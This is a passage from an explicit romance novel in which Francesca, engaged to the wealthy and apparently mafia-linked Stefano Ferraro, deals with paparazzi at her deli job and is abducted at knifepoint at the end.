He lifted his face from between her legs, but kept his softening cock inside her mouth. "Gently, _dolce cuore_ , but take care of me."
She loved when he did that, too, those little instructions on what his preferences were, what he enjoyed. She detested feeling as if she wasn't seeing to his every need or desire. He saw to hers and she wanted to do the same for him so when he told her exactly what he wanted or needed, it gave her even more confidence. For Francesca, knowing she gave him that was as necessary to her as breathing. She took her time, mindful of how sensitive he was, feeling every reaction, the way his breath hissed out of his lungs, the shudder of his body, the involuntary buck his hips gave.
" _Dio_ , Francesca, you're incredible. I could spend the day with my cock in your mouth and never get enough."
She laughed softly as he withdrew. "I might like that. Now I need to brush my teeth and get ready for work. That was spectacular."
He rolled off of her, every line in his face stamped with a sensual dark passion as he watched her walk naked into the master bath. He'd just given her an amazing, powerful climax, but knowing he was watching made her hot all over again. He was turning her into a sex fiend.
"Word of our engagement is out," he announced, casually. Too casually.
She paused in the act of spreading toothpaste on her brush, turning to look through the doorway at him. "It is? How do you know?"
"Francesca. Seriously? You're mine. I want the entire world to know. I had our publicity person put out a press release."
She smiled at him, shaking her head. "You don't do anything the slow way, do you?" She turned back to brush her teeth.
"Not when it comes to you. The point I'm making is that anything a Ferraro does is news. It's a huge thing to have one of us engaged. When I say 'huge,' I mean it will be reported, not only in this country, but in other countries as well. Our bank is international and one of the largest."
Francesca's heart dropped. Somersaulted. Beat too fast. She took her time, finishing her teeth and then rinsing her mouth multiple times before she turned back to him. "What exactly does that mean?"
"It means, _bambina_ , reporters are going to be crawling all over this hotel. No member of our neighborhood would ever give you up, so you should be safe at work, but don't walk the streets where you could be spotted. I'll take you down the private elevator to an entrance that only my family uses and no one has knowledge of. Emilio and Enzo will be waiting with a car. You do whatever they say when they say it."
She walked barefoot over to the closet. Somehow her clothes had been transferred to the master bedroom sometime while she was at the club. She hadn't asked him about that, and now it seemed silly to do so. It had been presumptuous of him, but she was finding that Stefano was a very decisive and confident man. She liked having his eyes on her when she drew the sexy little boy shorts up her legs and settled them over her butt.
"Come here."
Francesca shivered at the command in his voice. Low. Sexy. So arrogant. She loved that, too. Holding her bra in her hand, she crossed the room to stand in front of him. He wiggled his finger in a little circle and obediently she turned her back to him.
His hands slid over the curves of her butt. "I left my mark on your ass. I can see it right through the lace. That's so fucking sexy, Francesca, I want to take another bite out of you." His hands stroked caresses over her bottom and then he touched several spots on her buttocks with his fingertips. When he pressed she knew exactly where each mark was. "I like my brand on you far too much, _bella_."
She shivered, her nipples peaking as she slid the satin-soft bra around to cup her breasts. The lace caressed her skin. She loved his brand on her far too much as well, but telling him that would only encourage him. "I think you're a little primitive."
"I'm okay with that." He caught her hand as she turned to get her clothes. "Where the hell is your engagement ring?"
"I can't wear it to work." She was horrified. "It's worth a car or something."
He was up in an instant, flowing out of the bed, every muscle coiled and ready to strike. He looked dangerous. Intimidating. He towered over her, and the very air pulsed around her with his anger. "Get. That. Ring. On. _Now._ "
Okay, bad move taking off the ring. She didn't even pretend to hesitate. She knew he would never strike her, but she also knew when he had that much anger over something, it meant a lot to him. She took the ring out of her drawer and shoved it back on her finger.
"Don't you ever fucking take that off again. You got me, Francesca? Are we clear on that? You tell me we're clear. I want to hear the words."
"We're clear, Stefano."
She heard the tremor in her voice and was instantly angry with herself. She didn't want him to ever think she was a pushover and wouldn't stand up to him. She put the ring on because it meant enough to him to be angry over it, not because she was afraid of him. Well. Not much. Well. Okay, maybe she was a little, or a lot, but in her defense, he could be very scary.
His hand snaked out, fingers curling around the nape of her neck and he yanked her to him, his mouth fastening on hers. It wasn't a nice kiss at all. Brutal. Merciless. Savage even. He was claiming her all over again and she knew it. Reveled in it. Drowned in it. She loved his mouth and the way he could use it. She was fairly certain no one else in the world could kiss like him. She didn't care if he devoured her. She wanted him to. She loved it when he got all macho and manly on her. Fear receded quickly when his mouth was on hers because inevitably, no matter how the kiss started, it always ended with her feeling as if he loved her. Wanted her. Even needed her.
When he lifted his mouth from hers, he pushed his forehead tight against hers. "You have to know how important you are to me, Francesca. My ring on your finger, everyone knowing we're engaged, these are ways to protect you. No one can fuck with you and live. It just wouldn't happen and anyone who knows me knows that. I need to know you're safe at all times."
"Emilio and Enzo will look after me," she soothed, moving away from him to pick up her clothes. She had to get dressed and get to work before Pietro decided she was fired, Stefano Ferraro's fiancée or not. "I won't take off my engagement ring, I promise. But it does bother me that Emilio and Enzo are with me instead of with you. I know they always looked after you."
"I can take care of myself, but you don't have to worry. I have more than two cousins who work as bodyguards. Tomas and Cosimo Abatangelo will be working with me. Ordinarily, they keep their eye on Emmanuelle. She's always giving them the slip and making them angry, but because of that, they're very, very observant."
"Why does Emmanuelle need a bodyguard?" She pulled on a pair of jeans. They fit like a glove and yet were very comfortable.
Stefano frowned at her as he began to dress as well. " _Dolce cuore_ , wear that really beautiful skirt for me. The one with all the ruffles that falls to your ankles. I've wanted to see it on you from the moment I purchased it."
She paused in the act of zipping up the jeans. Her eyes met his. His gaze had darkened. Was sexy. Sensual. Hooded. Speculative. He was up to something. She glanced toward the closet where the skirt hung. She knew exactly which one he was talking about. She loved that skirt, but it seemed a little too nice to wear to work. Still, if it meant that much to him, and she could see by his expression it did, then she didn't mind in the least accommodating him.
She slid the jeans back down over her hips, watching his face. Watching the approval. The satisfaction. The sudden blaze of heat in his eyes.
"You won't need those sexy panties with that skirt, Francesca." His voice was pitched low, almost a growl. So sexy she felt the damp heat instantly.
"I'm going to work, Stefano." She tried to be firm. She couldn't just give him every little thing his heart desired, could she? He'd walk all over her.
"I was hoping to stop by work to see you, but I'll have less than an hour. No panties saves time."
She shivered. Her breasts ached. The heat between her legs burst into a full-out burn. Leaving her panties in place, she crossed to the closet and pulled down the skirt. "You could call me on that phone you gave me and give me the heads-up. I'll go to the restroom and remove my panties and be all ready for you. That way, I won't be dripping all day in anticipation."
"I like the idea of you dripping in anticipation all day. I could lick all that honey off your thighs when I come to see you."
She pressed her thighs together, trying not to squirm. "I'm wearing my panties, Stefano, so call when you want them off." She pulled on a matching blouse, one that didn't quite hide the necklace he'd given her. She touched one of the dark smudges with her fingertip. "I look like I'm in high school."
He laughed. "I'll be calling and texting, _bambina_ , so keep your phone close and fucking answer it."
"What part of 'I'm working' don't you understand?"
"What part of 'fucking answer your phone when I call' don't you understand?" he countered. "I don't like you working, but I'm giving you what you want, so you give me this."
"You are exasperating," she informed him, pulling on knee-high boots. They were navy blue with three leather ruffles down the backs. They matched the skirt perfectly. "I'm leaving, but I'll keep my phone close."
"Wait for Emilio and Enzo. They'll come up and get you and take you to the other elevator." He caught her chin in his palm and kissed her. Hard. Perfect. "I'm calling them up to meet you now."
Francesca felt a little dazed when he released her. She nodded and forced herself to walk out of the bedroom. She got halfway down the hall when he called her. She turned back and he was leaning against the doorjamb, watching her. Naked. He looked gorgeous. Tough. Dangerous. Completely hot. And he was all hers. She quirked an eye at him, wishing she had his confidence. It didn't bother him in the least to be naked. She knew if the elevator doors opened and a crowd emerged, he wouldn't care.
"What time is your first break?"
"Around ten."
"Go straight to the restroom and lock the door."
Her entire body tightened. It was the way he said it. The look in his eyes. She couldn't imagine anyone sexier. She couldn't find her voice, her mouth had gone dry and the air seemed to have left her lungs. She just nodded and turned back toward the great room, to wait for Emilio and Enzo.
She was grateful for the bodyguards as the car she was in drove past the entrance of the hotel. Paparazzi were everywhere, a three-deep crowd laying siege in an effort to get pictures of her or Stefano, preferably both of them. In spite of the tinted windows she ducked down automatically.
"Is his life always like this?" she asked Emilio. She was becoming rather fond of both Emilio and Enzo. She knew they were devoted to Stefano and she liked them all the more for that.
"Yes," Emilio answered. "Don't worry, Francesca. We won't let them near you. Just stay away from the windows and if we warn you, leave the counter and go straight to the back. Pietro knows to protect you. He'll come out and handle customers. No one is going to talk about you or let on in any way that you're working there."
She shook her head. "The paparazzi pay good money to people for information. Don't count on it, Emilio."
Enzo snorted. "Seriously, Francesca? Do you really believe anyone would dare cross Stefano Ferraro? _Hell_ no. No one in the neighborhood would be that stupid."
She frowned. It was back to the "mafia"-type warning. What did it matter if Stefano was upset with someone if they got paid an exorbitant fee for selling information? What would he do to them? Surely no one was that afraid. She shivered, remembering how he could look. One moment he was soft inside, looking at her with such a sweet look and the next, he was cold and distant, without expression. Scary.
The car pulled up behind Masci's Deli. She reached for the door handle but Emilio stopped her. "Wait until we clear the area. We'll give you the okay to get out, but you don't move until then."
She subsided against the seat with a little sigh. Becoming engaged to Stefano had changed her world all over again. She'd gone from homeless to being engaged to a very wealthy man in a very short time, and she felt like her mind couldn't quite catch up. She was very glad to get inside the deli, where only Pietro was waiting. Together they put everything in the cases and set up for the early-morning crowd.
She loved that it was so busy, keeping her from thinking too much, but by the time the first wave had come and gone, she found she was having to struggle to keep her mind from straying to Stefano and what he had planned for her ten o'clock break.
Joanna came in around nine, and since there were only a couple of people left to serve, Pietro told her to grab a coffee and visit for ten minutes. She did, slipping into the chair across from Joanna, feeling only a little bit of guilt that her boss was allowing her extra break time, but not too much because she wanted to show off her ring.
Joanna squealed loudly and appropriately. "I can't believe this. My best friend is going to marry Stefano Ferraro. That rock on your finger is worth a small house—you know that, don't you? It's beautiful. You're beautiful. I'm so happy for you, Francesca."
Francesca looked down at her ring. "It is beautiful, isn't it?" She found herself smiling at Joanna, so happy she wanted to cry. "How did things go with Mario?"
Joanna wrapped her arms around her middle. "Oh. My. God. He's _so_ good in bed. Honest to God, Francesca, I'm having a mini-orgasm just remembering. He's the best dancer, and after you left, Emmanuelle and her cousins didn't desert us or make us feel as if we didn't belong. They were so nice. They picked up the tab for all the drinks and invited us back with them again. It was an amazing night. I would have been walking on air for months just from that alone, but then Mario took me to his apartment and I stayed there with him all weekend. He treated me like a princess. I could totally fall in love with him."
Francesca studied her face. Joanna had dated all the time and she hooked up with men often, but Francesca had never seen her like this. Her face was glowing and she couldn't stop smiling.
"So do you have another date with him lined up?"
Joanna nodded. "He made a point of saying he wanted us to be exclusive. He said he'd been waiting for an opportunity with me and he wasn't about to pass it up. He also said he wasn't about to let any other man edge him out, now that he had me."
Francesca was happy for her. "That's so awesome. I love that for you."
Joanna smirked. "Me, too. He's just everything I thought he would be and more." Her head went up and she widened her eyes. "I forgot. Were you listening to the news at all this morning? The three women arrested at the club, those singers who were so rude when they came to the table?"
"Stella, Janice and Doreen. The Crystals."
"Yep. That band. They pleaded guilty. Just like that. And there were multiple charges. No one does that. I've never heard of anyone so stinking rich with money to pay a really great attorney pleading guilty to that kind of charge. They aren't going into rehab—they're getting jail time. Why would they do that? And why in the world did their attorney allow them to? It doesn't make any sense at all."
"I didn't know they'd even go before a judge that fast other than to maybe set bail," Francesca murmured, unease creeping into her mind in spite of the happiness that had permeated her world all morning. Her fingers found her engagement ring and she absently played with it, trying not to think about what might cause three vindictive and very entitled women with the money to pay for a great attorney to plead guilty and allow a judge to sentence them without a trial.
"They're actually going to prison. Not jail. Prison," Joanna continued. "You just don't _ever_ want to mess with the Ferraros. Anyone stupid enough to cross them has really bad karma."
Francesca didn't know what to say to that. "My former landlord was murdered," she blurted. "He was inside Giuseppi Saldi's home when he was murdered."
"I read about that. It was on the news as well. That was just weird, too."
Francesca nodded. "His aunt was actually swimming in the pool and when she got out, he was dead on the lounger, his throat cut."
"See? He messed with you and you're going to be a Ferraro and now he's dead. Do you think the Saldis killed him because they didn't want a war with Stefano's family?"
Francesca inhaled sharply. "I don't think it had anything at all to do with Stefano. He and his entire family were at the club, celebrating."
"Your engagement? I didn't even know it was an engagement party," Joanna said, sulking.
Francesca burst out laughing. "Neither did I."
Joanna stared at her a moment, wide-eyed and then she pretended to swoon. "That's the most romantic thing I've ever heard of."
Francesca rolled her eyes and went back to work as another wave of customers entered the store. She couldn't help but watch the clock as she waited on the various people. They were all very sweet to her and seemed to want to chat a little before handing over their money or credit cards, but she didn't mind in the least, other than she needed to keep the line moving.
Her heart beat very fast when Pietro came from the back room to take her place so she could have her break. She pulled off her apron and hurried to the restroom. The moment she had the door closed and locked, she removed her panties, bunching them into her hand. An arm came around behind her and took them away. She nearly screamed with shock, but his scent told her exactly who was there.
The room was fairly large but completely open. There was nowhere to hide. A sink, a toilet and a mirror were really all that was in the room, and yet Stefano had to have been somewhere. Maybe she'd been so eager she hadn't seen him when she hurried in. She started to turn.
"Stay still."
A clear order. She shivered, and remained facing away from him, growing damp and needy without anything else but the sound of his voice. She watched in the mirror as he bunched her panties into the palm of his hand and shoved them into the pocket of his suit.
He reached around her and began to undo the little pearl buttons of her blouse. The edges gaped open to reveal her breasts nestled in the lacy, satin-soft bra. Leaving her bra in place, he reached in and pulled out her breasts so they jutted up and out over the material, her blouse framing them. Francesca's breath caught in her throat as he reached down and took her hands in his, sliding them up her rib cage to press her fingers to her nipples.
"Work them for me, _dolce cuore_. You know how I like it. Rough. I want to see you panting. Needy. I love to see your hands on your body."
She licked at her lips, her breath already ragged. She wasn't certain how he could do that, make everything feel so sexy, reduce her to a needy, melting woman wanting to beg him to hurry and take her. The fire built between her legs, scorching hot, and to her shock, she could actually feel the liquid need on her inner thighs as she complied with his order, tugging and rolling her nipples, watching him watch her in the mirror.
His hands went to either side of her hips, fisting the material of her skirt. Very slowly he began to pull it up, gathering it into his hands as the hem rose first over her boots and then her thighs and finally to her waist. He tied the skirt at her back, a quick twist and then a knot to keep it in place, his gaze never leaving hers.
"Harder, _bella_ , pretend your hands are mine." His foot kicked her left leg wider and then her right. "I could hardly think straight this morning. Trying to work, go over reports, when all I wanted to do was get back to you. I thought about fucking you right on my desk at work. Or have you under it, sucking me off while I conducted business." His hand moved over her rounded cheeks, lingering on the marks he'd left there earlier. One hand pressed her head toward the floor.
She started to reach down and he stopped her. "I'll hold you. Trust me, Francesca. You keep working those nipples." His arm locked around her waist and then his hand was at her entrance, scooping out the honey and licking it off his fingers. "You taste so fucking good. Do you think I would have the control to talk on the phone, or have someone in the room while you were there, under my desk, my cock down your throat? Could I keep it together?"
"I hope not," she panted. "I hope I'd be making you feel so good you couldn't."
He'd already opened his trousers. When had he done that? She hadn't noticed because she was too busy trying to keep from melting into a hot little heap on the floor at his feet. He pressed the broad head of his cock into her entrance and her breath caught in her throat.
It felt like a red-hot brand. Too thick to fit. Stretching her. She pushed back against him, needing him inside. She held her breath. Her heart pounded. A sob escaped. "Stefano."
"There it is," he said softly. "Tell me what you want."
"You. Right. Now."
"Me what. Be specific."
She blushed, but it didn't matter. "You inside me."
"More specific."
Her breath hissed out on a thin wail. "Stefano. Please. Your cock inside me right now. Before I go up in flames."
"Since you asked so nicely. Of course next time, _bambina_ , I'm going to make you beg me to fuck you. You'll have to say _fuck_ just like a bad girl."
She couldn't form a coherent thought. If that's what it took to get him moving, she would have gladly asked him using his favorite word. He thrust hard. Deep. Buried himself to the balls. She felt them slapping against her. She let go of one breast and jammed her fist in her mouth to keep from screaming. Fire raced through her. Then he was moving, slamming into her over and over, a jackhammer, thick and long, driving through the tight folds of her body, until she came apart over and over.
She didn't think he'd ever stop, sending one orgasm crashing into the next so that her body tightened around his and milked, strangling his cock. He swore in Italian, his voice as strangled as hers as she finally took him over the very edge of his control.
She closed her eyes, savoring the strong quakes, the contractions and convulsion of her sex around his. She had no idea how many times he'd forced her body to climax because eventually she couldn't tell where one started and the next began. But they were in the restroom long enough for Pietro to pound on the door and ask her how long a break she was taking.
She began laughing as Stefano helped her to stand. "I think you just might have that kind of control, honey. The kind where I could wrap my mouth around you, take you down my throat and work you while you conducted business. We might have to put it to the test sometime. Maybe even make a wager." She said it just to be wicked, but his eyes flashed at her as he reached around her to get a towel wet with warm water. He handed it to her and took another for himself.
"I like the idea. We'll set a date for you to come to my office."
That was _so_ not happening, although she had to admit, as long as she was hidden and no one could see her, the idea was a little exciting. Once she was clean, Stefano untied her skirt so it would drop down and cover her. He leaned down and took her mouth gently.
"I'll see you at home, _amore_." He smiled. "I love saying that. Now that you're there, I have a home. You go out first. Don't say anything to Pietro. He doesn't know I stopped in and I don't have time to talk."
She nodded and allowed him to push her out the door. She turned and hurried down the hall. Just before she hit the main store, she remembered Stefano had her panties. She jogged back and opened the door. He was gone. She frowned, looking around her. The only thing she saw were the shadows of the buildings outside through the window racing across the floor. She sighed and shook her head as she went back to work.
# CHAPTER SEVENTEEN
The paparazzi were relentless over the next few days. Francesca found that she didn't mind at all having Emilio and Enzo between her and everyone else. The reporters were everywhere: camped out at the hotel, trying to get a glimpse of her, and walking up and down the streets, entering shops to do their best to persuade the locals to help them get a picture of her or information on her. She was very, very grateful for the Ferraros' relationship with the people in their neighborhood because no one gave her up.
She enjoyed work, especially lunch or breaks because she never knew when Stefano would call or text her to meet him in the employee restroom. He was an exciting, creative man, very sexual, and he made her feel as if she were the most beautiful woman in the world. She found herself laughing more. Relaxed. Happy. She was _happy_.
His brothers and sister dropped by his apartment often. They trained together in the large training hall Stefano had. She liked to watch them as they sparred, feet and hands a blur as they tried to best one another. They were all very fast and smooth, so much so that she couldn't actually say with any certainty which brother or even Emmanuelle was better than the others.
She loved the camaraderie, how close they all were. It was very evident to her that the brothers watched over Emmanuelle, although they considered her an equal. She also realized that they didn't talk about their parents. She knew Stefano's parents worked for the family business, whatever that was, and that both were alive, but they were never really mentioned. It was odd when the siblings were so close.
Stefano was a man who liked to touch. When they were together, inside the apartment or outside, he had his hands on her. If they were alone he was initiating sex. She didn't mind that in the least. Sex with Stefano was always incredible. She could almost forget Barry Anthon and the threat he presented. Almost. Still, she was uneasy, a little persistent feeling nagging at her that her world was too perfect, that she'd found happiness and he was going to come and rip it away.
"Francesca." Pietro's voice penetrated. "Stop daydreaming. It's embarrassing." He threw back his head and laughed at his own joke.
She jerked around, leaning against the counter, watching him laugh at her along with favorite customers, Lucia and Amo Fausti. She loved their boutique and the clothes they sold as well as the other treasures they had acquired from all over the world. Of course, she couldn't afford anything and she'd learned not to admire too closely because somehow word would get back to Stefano and she'd have whatever she liked sitting on their bed when she got home from work.
"Ha. Ha. Very funny. I'm going to ruin your coffee, Amo," she threatened. "I'll accidentally put sugar in it."
Amo shuddered. "That would be mean, Frankie, and you don't have a mean bone in your body. You're like my beautiful Lucia."
That was the highest compliment Amo could have given her. He adored his wife, and Francesca wanted to throw her arms around him at such huge praise. He was the only person who ever called her Frankie and she liked it coming from him. "Thank you, Amo. As Lucia is amazing, I'm going to just bask in that for a while."
"While you're basking, could you finish their sandwiches and get Mr. Ferraro something to eat or drink?" Pietro asked.
Ricco leaned against the counter, looking hot, his arm around Lucia, nudging Amo with his elbow. "I don't mind waiting, Pietro. I've got my favorite girl right here. Lucia and I are contemplating running off together. We're discussing where we might go."
"You'd need a big head start," Amo said. "I've got a shotgun and I'd be coming after you. Can't live without my woman." He reached around Ricco and tugged Lucia under his arm. "I'd have to do you in, boy, and persuade her she can't live without me."
Ricco rubbed his forehead with his thumb. "I don't know, Amo. Lucia is extraordinary. Everyone knows that. Shotgun aside, I might have to fight you for her."
Lucia blushed like a schoolgirl. "You boys are terrible. What brings you downtown, Ricco? I don't see you very often."
"Keeping an eye on our girl," Ricco said with a little shrug. Even that brief lifting of his shoulders seemed a powerful, fluid movement.
Francesca studied him while she made sandwiches for the Faustis. He was very handsome, gave off the aura of power and danger, a heady combination guaranteed to attract any woman, yet like his other brothers and sister, he wasn't in a committed relationship. She knew Stefano worried about him. Of all the siblings, Ricco seemed to live on the edge the most. He drove that little bit too fast, lived his life a little recklessly, but he was always the first to back Stefano no matter what. She liked him, but then she liked all of Stefano's siblings.
"Ricco, Emilio and Enzo are close," she pointed out softly. "I appreciate you watching over me, but I'm fine."
"Damn reporters are crawling out of the woodwork." He watched her as she handed the sandwiches to Lucia and took money from Amo. When the couple retreated to the tables toward the back of the room, Ricco straightened and indicated that Francesca come around the counter and sit at a table with him. He chose one away from the few customers eating in the deli.
Francesca sank into the chair he held for her and waited until he brought coffee Pietro had made for them. "What is it? Is something wrong with Stefano?" She hadn't gotten that from him, but now that he made an effort to get her alone, she was frightened. Ricco wouldn't have come if it weren't important.
"Stefano's fine, _cara_. I would have said something immediately if he wasn't. Things are heating up a little right now, and I wanted to make certain we're taking extra precautions to protect you."
Her stomach lurched and she pressed a hand there. "It's Barry, isn't it? You've heard from him."
He shook his head. "Not yet, but we will. Stories are being written, Francesca. That's what happens when you become engaged to someone like my brother. These fuckers dig deep and write any shit they can find."
She went perfectly still, her heart pounding, the blood draining from her face, leaving her unnaturally pale. Of course they would find all sorts of terrible things about her. She'd been in a psychiatric ward for seventy-two hours. She'd been arrested twice. There were mug shots. Worse, they would dig up her sister's murder and it would once again be splashed everywhere, all over the newspapers and in the tatty little magazines that seemed determined to ruin everyone's life. Ricco wouldn't be there unless something like that was already in print. She was afraid she might be sick.
"Francesca, look at me." His voice was very quiet, but still carried absolute command the way Stefano's did.
She swallowed hard and lifted her lashes, forcing herself to meet his eyes. "Why didn't Stefano come to tell me?"
"He couldn't get away. He was in a conference with the New York branch. An emergency that's come up and he has to take care of it. You're good, _cara_. No worries."
She shook her head. "You wouldn't be here unless whatever they printed was awful. I don't know if I'm strong enough to go through that again." Barry would make certain his people would feed that frenzy. He'd make her out to be an unstable criminal. She knew he would. He controlled the media when he wanted.
"You're stronger than you think, and you're not alone this time. You have the entire family backing you, and then there's my brother. He's fiercely protective of you. And, Francesca?" He reached across the table and put his hand over hers, stilling her nervous drumming. "So am I. So are my brothers and Emmanuelle. People are going to read that shit and even here, in our own neighborhood, a few idiots might believe what they read, but most will follow our lead. You keep your head up and just smile or shake your head as if you can't be bothered to address all that nonsense."
She took a breath and tried to still the screams in her head. She hadn't had nightmares since she'd been sleeping with Stefano, but she was afraid they would start all over again. She felt as if she'd woken up from a beautiful dream to find herself in a horror film. Looking around the deli, she realized these people—Pietro, the Faustis, all the other customers she'd come to care about—were going to read those horrible things about her. They wouldn't want to believe it all, but there would be enough truth woven in with the lies to make them look at her differently.
"Don't answer questions. We're going to have either Emilio or Enzo inside the store while you work. The other will be outside in front so you're warned if any of the paparazzi come near the store. If that happens, you go to the back and let Pietro handle everything."
She put both hands in her lap, curling her fingers into fists. She really, really liked Ricco, but right then she needed Stefano. Her first reaction was to run as fast and as far as possible from the situation. Her picture would be plastered everywhere. She couldn't outrun that.
"Francesca, stop looking as if the world is coming to an end."
"It _is_ ," she hissed, leaning toward him. "You have no idea what it's like to have people believe horrible lies about you. To have to live on the street with no job, no money, not knowing when you'll have another meal. They took everything from me, including the people I thought were my friends. They took away my belief in the justice system, but most of all, my feeling of safety. I forgot, until Stefano, what it was like to feel safe. You and I both know, it's human nature to believe the worst."
She didn't realize she was crying until Ricco shifted closer to her, threw his arm around her shoulders and used a handkerchief to mop up her tears.
"Stop." He all but snarled the command. "You're a Ferraro. You never, _ever_ fucking let them see they got to you. Even here, Francesca, you keep your head up. You remember who you are. If you can't do it for yourself, you do it for him. For Stefano. I know you love him. Don't wince. Don't act like you don't know. You might not want to admit it to yourself or to him yet, but it's there. I can see it on your face and hear it in your voice. We have gifts and we use them. Of course I would check to make certain you weren't going to fuck him over. He's so gone on you it would kill him."
The sincerity in Ricco's voice straightened her spine. The sheer honesty. He believed Stefano loved her. Needed her even. And he was right—as much as she was afraid to admit it to herself or to Stefano, she was totally falling in love with him.
"Stefano has a certain reputation, Francesca, and he needs to be respected. That's part of how he can do what he does. You're his woman. You can't allow anyone to tear him down. If they manage to tear you down, they are doing the same to him. You're a couple. That means whatever happens to you, happens to him." He released her and straightened, his eyes on the large storefront window as he lifted his mug of coffee and took a long, slow drink.
She knew he was giving her a chance to pull herself together. She forced herself to sit just as straight and to take a drink of coffee as well. She would never let Stefano down. For him, she could weather any storm. If he could take the horrible things they said about her, then she could. She knew the nightmares would start again, but they would be in the privacy of her home, not in public.
The door to the deli was pushed open by a young man in his early twenties with long, straggly hair and dark glasses that covered half his face. He paused in the doorway when he saw Ricco, stiffening and then taking a deep breath before entering. He looked the worse for wear. His face was swollen and covered in bruises. He walked carefully, as if injured. He carried his arms in close to his body to protect his rib cage.
"Bruno," Ricco greeted, sitting back in his chair. Relaxed. Casual. "Nice to see you on your feet. Heard you had a little accident. You feeling better?"
Immediately the atmosphere in the deli changed subtly. There was an undercurrent of danger, yet Francesca couldn't see or hear any reason why it should feel that way.
The boy bobbed his head repeatedly and sidled closer to the counter.
"Your grandmother in good health?" Ricco persisted.
Francesca instantly remembered the name Bruno. She'd been sitting in the pizzeria with Stefano when a woman, Signora Theresa Vitale, had come up to the table and pleaded with Stefano for help with her wayward grandson, Bruno. This had to be that Bruno. Clearly he was in trouble of some kind. He'd been in a fight and looked as if he'd lost.
Bruno bobbed his head again. "Yeah. Yes, Mr. Ferraro," he corrected himself when Ricco continued to stare at him. "She's good."
"You good? You staying out of trouble, because you know, life can get really difficult when you're stupid and you forget who your family is. _Famiglia_ is everything. I wouldn't want you to forget that. Not for a moment. It could get . . . rough."
The boy actually paled. He kept bobbing his head, until Francesca feared he might actually break his neck. Ricco was clearly issuing a warning and Bruno was taking it that way. She found herself shivering.
"Bruno"—Ricco said his name quietly—"I want to hear your answer. Out. Loud. You won't forget what _famiglia_ is, right? You know you need a job, you need anything at all, your family is where you go. Not to outsiders. Your grandmother took you in, raised you right, sacrificed for you. She deserves the utmost respect at all times from you. Am I right, or what?"
The boy swallowed hard. "You're right, Mr. Ferraro. I'm going to work next week. Still a little sore from the . . ." He broke off when Ricco raised an eyebrow, looked around the room and then said, "Accident. But I can start work Monday and I'll be bringing home my pay to help out Nonna."
Ricco sent him a small smile. "Good. You need anything, you call. Stefano gave you the number, right?"
Bruno winced at Stefano's name, but continued bobbing his head. "Yeah. I mean, yes, Mr. Ferraro."
Ricco dismissed him by turning to Francesca and leaning close to her. The boy stood awkwardly for a moment before giving his order to Pietro.
"He's afraid of you," Francesca observed.
Ricco shrugged. "Don't know why. I'm just sitting here with my brother's woman, giving her a little advice."
"Thank you for that, Ricco. I appreciate it. You made me see things in a different light. I probably would have been stupid and made a run for it."
His eyes darkened and another shiver went through her. Ricco Ferraro was every bit as scary as his brother, maybe more. There were demons in his eyes that Stefano didn't have. She had the feeling something terrible had happened to him, something he'd buried deep, but that still drove him hard. "Don't ever do that, Francesca," he warned. "Stefano would come after you and he wouldn't be alone. All of us would help him find you. You're ours, part of our family and just like I was trying to say to Bruno, that means something. You don't walk away from that because it gets hard."
She nodded, took a breath and took the plunge. "You can talk to me, Ricco. I know you aren't going to talk to your siblings, but I want you to know, you can talk to me. Whatever happened, however terrible, I would understand."
He shut down. Instantly. She knew she was right about Ricco and his past, but he wasn't going to share. Instead, he gave her the famous Ferraro smile, the one reserved for cameras, interviews and strangers. "Thanks, _cara_ , but I'm just fine." He stood up abruptly and pushed back his chair. "I appreciate the offer though."
She forced a small nod and stood up, too. It was time to go back to work. The next wave of customers would be arriving very soon. The afternoon shift was always the most difficult to keep up with. The deli would be totally packed with lines outside and every table inside filled. She liked that shift because time flew by and it was a challenge to keep up with all the orders, but it was also exhausting.
Francesca was able to chat with the first wave of customers, laughing a little with them, watching closely to see if she could spot anyone who had already read the stories about her, but so far, Pietro's customers didn't seem to read many of the gossip magazines. By later afternoon, she was beginning to relax. The crush was nearly over and nothing had been said, no whispers had invaded the shop, no strange, telling glances. She was beginning to think she would escape completely today and have time to prepare a defense.
Enzo suddenly burst through the shop door and pointed at her. "Get in the back, Francesca. _Now._ "
Pietro caught her by the shoulders, turning her body and all but throwing her away from the counter. There was no mistaking the urgency in Enzo's voice or Pietro's hands. Tugging at her apron, she glanced out the large windows at the front of the store. In the street she could see a frenzy of paparazzi descending on the deli. Someone had finally sold her out. She turned and hurried down the hall to the employee break room. There was a screen where she could see what was happening. Standing just inside the door, she stared at the chaos already reigning in the front of the store.
Paparazzi pushed their way in and were asking everyone questions. Emilio came up behind her. "Stay right here. I'm going to help Enzo throw their asses out. Don't you move."
"I won't." She had no intention of being that stupid. She'd dealt with all this before and it had been one of the worst times of her life.
Her phone vibrated and she pulled it out, still staring at the screen. Emilio had waded into the crowd, trying to keep the customers defending Pietro and her from getting into fistfights with the photographers desperate to get photographs that would make them money.
_"Bambina."_ Stefano's voice was a lifeline. "Emilio said you're under siege." So calm. His voice strong. A low, sexy tone that soothed even as it took charge.
"You could say that. I don't think Pietro will want me working here anymore. What a mess."
"It isn't that he won't want you there, Francesca—it's a matter of your safety. He's already grown fond of you and he doesn't want anything to happen to you."
"I hope I'm not hearing smug satisfaction in your voice. I happen to know you don't want me working. You didn't somehow manage to engineer the raid on the store, did you?" She tried to make a joke of it when she really wanted to cry.
" _Dolce cuore_ , I would never send a hoard of paparazzi after you even to get my way, and I'm pretty ruthless." His voice turned grim. "However, I will find out who did. And did you use the word _smug_? I can't imagine anyone ever thinking I'm smug."
She laughed softly and winced a little when Emilio, Enzo and Tito from the pizzeria forcibly ejected a burly man. As he staggered backward on the sidewalk, Agnese Moretti knocked him in the head and about the shoulders with her purse. She appeared to be giving him a lecture as she attacked him.
A hand fell on her shoulder hard, fingers digging deep and she was yanked backward, right out of the employee break room. She emitted a startled, frightened yelp before the hand went from her shoulder to clamp hard over her mouth.
"Shut the fuck up, you bitch. You're coming with me." A knife cut into her skin just below her throat, right over the spot where the necklace Stefano had given her had nearly faded away.
She had no choice but to move backward, off balance as the intruder dragged her down the short hallway to the back exit. She kept her phone clutched in her hand, hoping Stefano could hear every word.
"Who are you? What do you want?" She asked him the questions more for Stefano's sake than her own. She didn't care who he was or what he wanted. The knife blade cut into her again, a second shallow laceration. She felt blood trickle down her skin to the curve of her breasts.
"I'm the man clever enough to get you right out from under the noses of the fucking Ferraros. A few paparazzi figure out where you are and your idiot bodyguards rush to get them out of the store and leave you unprotected."
"Tell me what you want." He'd dragged her out into the alley now. Francesca shivered and then let out a little scream when he sliced into her skin again. "Stop cutting me with the knife. Tell me what you want."
"I want to know where my friends are—that's what I want, you bitch. You go running to your boyfriend, whining about a little scratch they put on your neck, and they disappear. Where the fuck are they?"
